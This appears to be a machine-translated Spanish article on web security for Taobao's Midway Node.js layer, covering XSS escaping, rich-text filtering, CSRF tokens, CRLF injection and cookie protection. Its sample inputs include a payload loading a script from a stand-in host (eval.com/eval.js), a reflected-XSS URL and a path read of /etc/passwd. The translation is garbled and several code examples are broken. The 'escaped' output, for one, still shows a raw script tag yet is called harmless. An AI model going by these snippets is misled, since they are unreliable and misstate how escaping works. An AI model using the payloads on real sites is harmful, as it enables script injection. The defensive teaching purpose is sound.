Prefacio
En el modelo de desarrollo de separación de front-end y back-end, el cambio más obvio en términos de roles y funciones de desarrollo es: en el pasado, los estudiantes front-end que solo eran responsables del desarrollo en el entorno del navegador necesario para explorar el nivel de final del servidor y escribir código de final del servidor. ¿Y una pregunta básica que tenemos ante nosotros es cómo garantizar la seguridad web?
Este artículo propone soluciones a los problemas de seguridad encontrados por el modo de separación front-end y back-end en el desarrollo web del front-end, así como contramedidas y precauciones.
Defensa del ataque de secuencias de comandos entre sitios (XSS)
Problemas y soluciones
La secuencia de comandos entre sitios (XSS, Scripting de sitios cruzados) es el método más común y básico para atacar los sitios web. Un atacante puede publicar datos que contienen código ofensivo en una página web. Cuando un navegador ve esta página web, se ejecutará un script específico como la identidad y los permisos del usuario del navegador. XSS puede modificarse más fácilmente, el robo de datos del usuario, la información del usuario y causar otros tipos de ataques, como los ataques CSRF.
La forma básica de prevenir los ataques XSS es garantizar que cualquier salida de datos a una página HTML se escape en HTML (HTML Escape). Por ejemplo, el siguiente código de plantilla:
La copia del código es la siguiente:
<Textarea name = "Descripción"> $ Descripción </textarea>
La descripción $ en este código es una variable de la plantilla (la sintaxis de las variables definidas en diferentes plantillas es diferente, aquí es solo un diagrama). Los datos enviados por el usuario pueden ingresar una pieza de código que contiene "JavaScript" para que el resultado de la declaración de plantilla anterior se convierta en el siguiente resultado:
La copia del código es la siguiente:
<Textarea name = "Descripción">
</textarea> <script> Alert ('Hello') '</script>
</textarea>
El código anterior, representado en el navegador, ejecutará el código JavaScript y alertará a Hello en la pantalla. Por supuesto, este código es inofensivo, pero un atacante puede crear un JavaScript para modificar la información del usuario o robar datos de cookies.
La solución es muy simple, que es para escapar de HTML el valor de $ descripción. El código de salida después del escape es el siguiente
La copia del código es la siguiente:
<Textarea name = "Descripción">
</textarea> <script> alerta (¡hola!) </script>
</textarea>
El código HTML escapado anteriormente no es dañino.
Solución de Midway
Escapar todos los datos de salida del usuario en la página
Hay varias situaciones y métodos para escapar de los datos:
1. Escapar usando el mecanismo proporcionado dentro de la plantilla
Midway usa Kissy Xtemplate como lenguaje de plantilla.
En la implementación de Xtemplate, los datos de la plantilla se analizan sintaxis utilizando dos soportes ({{val}}). Por defecto, los datos se escapan HTML, por lo que los desarrolladores pueden escribir plantillas como esta:
La copia del código es la siguiente:
<Textarea name = "Descripción"> {{Descripción}} </extarea>
En Xtemplate, si no desea que los datos de salida se escapen, debe usar tres soportes ({{{val}}}).
2. Llamar inequívocamente funciones de escape en Midway
Los desarrolladores pueden llamar directamente al método de escape HTML proporcionado por Midway en el programa o plantilla node.js para escapar de los datos que se muestran, de la siguiente manera:
Método 1: Datos de escape HTML en el programa Node.js
La copia del código es la siguiente:
VAR Security = require ('Midway-Security');
// Datos del servidor, por ejemplo, {html: '</textarea>', otros: ""}
data.html = Security.escapehtml (data.html);
xtpl = xtpl.render (datos);
Método 2: datos HTML Escape HTML en plantilla
La copia del código es la siguiente:
<Textarea name = "Descripción"> Security.escapehtml ({{{Descripción}}}) </textarea>
Nota: Security.escapehtml se usa para escapar solo cuando los datos no se escapan dentro de la plantilla. De lo contrario, la plantilla interna y el programa escaparán de la superposición dos veces, lo que resulta en un resultado que no cumple con las expectativas.
Recomendado: si usa Xtemplate, se recomienda usar el {{}} incorporado de la plantilla para escapar directamente; Si usa otras plantillas, se recomienda usar Security.escapehtml para escapar.
Filtrar la salida de texto rica de los usuarios en la página
Puede pensar: "En realidad, solo quiero obtener un texto rico, como algunos tableros de mensajes y foros para proporcionar a los usuarios un tamaño de fuente simple, color, fondo y otras funciones. Entonces, ¿cómo debo lidiar con un texto tan rico para evitar XSS?"
1. Use la función RichText proporcionada por la seguridad en Midway
Midway proporciona el método RichText, que se usa especialmente para filtrar texto rico y evitar vulnerabilidades como XSS, Phishing y Robo de galletas.
Hay un tablero de mensajes, y el código de plantilla puede ser el siguiente:
La copia del código es la siguiente:
<div>
{{{mensaje}}}
</div>
Debido a que el mensaje son los datos de entrada del usuario, el contenido de su tablero de mensajes contiene información de texto rica, aquí se utilizan tres aparatos ortopédicos en XTemplate, y los escapes HTML no se realizan de forma predeterminada; Entonces los datos ingresados por el usuario son los siguientes:
La copia del código es la siguiente:
<script src = "http://eval.com/eval.js"> </script> <span style = "color: rojo; font-size: 20px; posición: fijo;"> Estoy dejando un mensaje </span>
Si los datos de texto ricos anteriores se producen directamente a la página, inevitablemente conducirá a la inyección de JS desde el sitio Eval.com en la página actual, causando un ataque XSS. Para evitar esta vulnerabilidad, solo llamamos al método Security.RichText en la plantilla o programa para procesar la rica entrada de texto por parte del usuario.
El método de llamadas es similar al escaparhtml, y hay dos formas de
Método 1: Llame directamente en el programa Node.js
La copia del código es la siguiente:
mensaje = Security.RichText (Mensaje);
var html = xtpl.render (mensaje)
Método 2: llamar a la plantilla
La copia del código es la siguiente:
<div>
Security.RichText ({{{Message}}})
</div>
Después de llamar al método de seguridad RichText, la salida final es la siguiente:
La copia del código es la siguiente:
<div>
<span style = "color: rojo; font-tamaño: 20px;"> Estoy dejando un mensaje </span>
</div>
Se puede ver que primero: la etiqueta de script que causará ataques XSS se filtrará directamente; Al mismo tiempo, la posición del atributo CSS: fijo; El estilo en la etiqueta de estilo también se filtra. Finalmente, el texto rico HTML inofensivo es la salida
Aprenda sobre otras formas de conducir potencialmente a ataques XSS
Además del posible ataque XSS en la plantilla de página, hay varias otras formas en aplicaciones web que también pueden ser riesgosas.
1. Vulnerabilidad en la página de error
Si no se puede encontrar una página, el sistema puede informar un error 404 no encontrado, por ejemplo: http: // localhost/page/no/encontrado
404 Notfound
Page/Page/Not/Found no se exsita
Obviamente: el atacante puede usar esta página para construir una conexión como esta, http: // localhost/%3cscript%3ealert%28%27hello%27%29%3c%2fscript%3e, y atrae a la víctima a hacer clic; Si la página de error no escapa a la variable de salida, entonces se ejecutará la <script> alerta ('Hello') </script> oculta en la conexión.
En Express, el método de enviar una página 404 es el siguiente
Res.send (404, 'Lo siento, no lo encontramos!')
Aquí, los desarrolladores deben prestar atención al manejo de la página de error (404 u otro estado de error). Si el contenido de retorno del mensaje de error contiene información de ruta (de hecho, para ser más preciso, la información de entrada del usuario), debe realizar EscapeHTML.
Posteriormente, el mecanismo de seguridad del manejo de errores se completará en el nivel de marco Midway.
Notas adicionales para soluciones Midway
Otros motores de plantilla
Midway es compatible con las plantillas de Xtemplate de forma predeterminada, pero también puede admitir otras plantillas en el futuro: como Jade, Bigote, EJS, etc. Actualmente, en las plantillas convencionales, se proporcionan métodos de escritura variable de salida predeterminada y escapadas por valor predeterminadas, y los desarrolladores deben prestar atención especial a su seguridad.
Otro apoyo para el escape
Además de la salida de datos de texto normal y rica en la página, algunos escenarios también incluyen otras situaciones que pueden requerir escape. Midway proporciona los siguientes métodos de escape utilizados comúnmente para que los desarrolladores lo usen:
EscapeHtml filtra caracteres en HTML especificado para evitar las vulnerabilidades de XSS
JSENCODE JavaScript Escape de cadenas de entrada. Escape unicode de chino, citas individuales y cotizaciones dobles Escape
Escapejson no destruye la función de escape de la estructura JSON, y solo realiza el procesamiento de escapehtml en el nombre y la vaule en la estructura JSON
Escapejsonforjsvar es comprensiblemente JSencode+Escapejson
Los ejemplos son los siguientes
La copia del código es la siguiente:
var jsontext = "{/" <script>/":/" <script>/"}";
console.log (SecurityUtil.escapeJson (JSontext)); // {"<script>": "<Script>"}
var jsontext = "{/" hello/":/" <script>/"}";
console.log (SecurityUtil.escapeJsonforjsvar (JSontext)); // {/"/u4f60/u597d/":/"<script>/"}
var str = "alert (/" hola/")";
console.log (SecurityUtil.jsencode (str)); // alerta (/"/u4f60/u597d/")
Prevención del ataque de falsificación de solicitudes de sitios cruzados (CSRF)
Problemas y soluciones
Definición de términos: Formulario: se refiere generalmente al formulario utilizado por el navegador para enviar datos en el cliente; incluyendo una etiqueta, datos de envío de AJAX, datos de envío del formulario, etc., en lugar de las etiquetas de formulario igual a HTML.
La falsificación de solicitudes de sitios cruzados (CSRF, falsificación de solicitud de sitio cruzado) es otro ataque común. El atacante forjó una solicitud a través de varios métodos e imitó el comportamiento del usuario de enviar formularios, logrando así el propósito de modificar los datos del usuario o realizar tareas específicas.
Para fingir ser un usuario, los ataques CSRF a menudo se combinan con ataques XSS, pero se pueden usar otros medios: por ejemplo, inducir a los usuarios a hacer clic en un enlace que contiene el ataque.
La idea de resolver ataques CSRF se divide en dos pasos.
1. Aumente la dificultad del ataque. Las solicitudes GET son fáciles de crear. Los usuarios pueden iniciar solicitudes de tipo Get-Type haciendo clic en un enlace. Las solicitudes de publicación son relativamente difíciles. Los atacantes a menudo necesitan usar JavaScript para implementarlos. Por lo tanto, garantizar que los formularios de formularios o las interfaces del servidor solo acepten solicitudes de envío posteriores al tipo de tipo pueden aumentar la seguridad del sistema.
2. Autentique la solicitud para asegurarse de que la solicitud fuera realmente completada el formulario o iniciado la solicitud e presentada por el usuario, en lugar de falsificar por un tercero.
El proceso de información normal del sitio web que modifica el usuario es el siguiente
Solicitudes de usuario para modificar la información (1) -> El sitio web muestra el formulario de información modificado del usuario (2) -> El usuario modifica la información y envía (3) -> El sitio web acepta los datos modificados del usuario y los guarda (4)
Un ataque CSRF no tomará esta ruta, pero forjará directamente la información de envío del usuario en el Paso 2.
Omita directamente al Paso 2 (1) -> Forge la información que se modificará y enviará (2) -> El sitio web acepta al atacante para modificar los datos del parámetro y guardar (3)
Mientras estas dos situaciones puedan distinguirse, se pueden prevenir los ataques CSRF. Entonces, ¿cómo distinguirlo? Es para verificar la información presentada en el Paso 2 para garantizar que los datos provengan del formulario en el Paso 1. El proceso de verificación específico es el siguiente:
Solicitudes de usuario para modificar la información (1) -> El sitio web muestra un formulario en blanco utilizado para modificar la información. El formulario contiene un token especial y guarda el token en la sesión (2) -> El usuario modifica la información y la envía, y envía la información del token al servidor (3) -> El sitio web compara el token enviado por el usuario y el token en la sesión. Debe ser consistente. Luego, los datos modificados por el usuario son aceptados y guardados.
De esta manera, si el atacante forjó la información para ser modificada y enviada, no podría acceder directamente a la sesión, por lo que no podría obtener el valor de token real; Si la solicitud se envió al servidor, cuando el servidor realizó la verificación del token, se encontraría que era inconsistente y la solicitud fue rechazada directamente.
Soluciones Midway
Desactivar obtener el formulario de envío
Si el servidor no acepta los datos del formulario enviados por Get, causará una gran dificultad para el atacante; Debido a que es muy fácil construir un atributo HREF A-Label o un atributo SRC IMG-Label en la página para construir una solicitud, pero si desea enviarlo, debe usar un script para implementarlo.
Verifique las solicitudes con Token CSRF
Debido a que Midway no implica la lógica de la sesión distribuida de Taobao y la verificación de tokens, en el marco Midway, solo se reenvían los tokens entre el servidor y el cliente, y no realiza trabajo de verificación real. El proceso es el siguiente:
Posteriormente: en Midway, después de que la sesión distribuida de Node.js y Taobao estén conectadas, puede considerar realizar automáticamente la verificación de token en la capa Midway; Después de todo, cuanto antes se realice la verificación de seguridad, menor será el costo.
Sugerencia: en Midway, puede determinar si hay un valor de token en la solicitud. Si una operación de modificación no tiene un token, puede considerarlo directamente en la capa medio de camino no es segura y descartar la solicitud.
Otros problemas de seguridad
Hay varios problemas comunes de seguridad web. Aquí hay solo algunas presentaciones y continuarán siendo heredándose en el marco Midway en el futuro.
Seguridad de encabezados HTTP
Los atacantes de inyección de CRLF encuentran formas de inyectar dos caracteres especiales de CRLF en el encabezado de respuesta, lo que resulta en un formato de datos de respuesta excepcional, inyectando así script, etc.
El acceso denegado ataca cada solicitud porque las cookies se traen de forma predeterminada, y el servidor generalmente limita el tamaño de las cookies, lo que lleva a eso si las cookies del cliente del usuario están configuradas para exceder un cierto umbral, el usuario ya no podrá acceder al sitio web.
Prevención y control de cookies, el robo general de cookies se obtiene a través de JavaScript (vulnerabilidad XSS), así que trate de configurar cookies solo en HTTP y agregar tiempo de vencimiento de cookies
Con respecto a los problemas de seguridad de las cookies, WebX ya ha tenido una buena solución antes; Esta vez, Midway no es responsable de la configuración y verificación de cookies, y solo es responsable de reenviar al nivel WebX para verificar.
Acerca de Node.js
Las vulnerabilidades inyectivas como XSS son las más fáciles de ignorar entre todas las vulnerabilidades, lo que representa más del 70% del total de ataques de Internet; Al escribir el código Node.js, los desarrolladores siempre deben recordarse a sí mismos y nunca confiar en las entradas de los usuarios.
Por ejemplo, los siguientes ejemplos.
var mod = fs.ReadFilesync ('ruta'); Si la ruta proviene de la entrada del usuario, entonces suponiendo que el usuario ingrese /etc /contraseña, se lee el contenido que no debe leerse, lo que provocará el riesgo de filtración de contraseña
resultado var = eval (jsonval); Asegúrese de asegurarse de que JSONVAL sea JSON, no la entrada del usuario
... En otros lugares que pueden contener la entrada del usuario, asegúrese de confirmar que la entrada del usuario es el valor que esperamos.
Resumir
En el modo de separación de front-end y back-end, los desarrolladores tradicionales front-end pueden comenzar a escribir código de fondo. Aunque la arquitectura solo es responsable de la capa de plantilla, también estarán expuestas a una gran cantidad de código de fondo; Por lo tanto, la seguridad es un gran desafío para el front-end.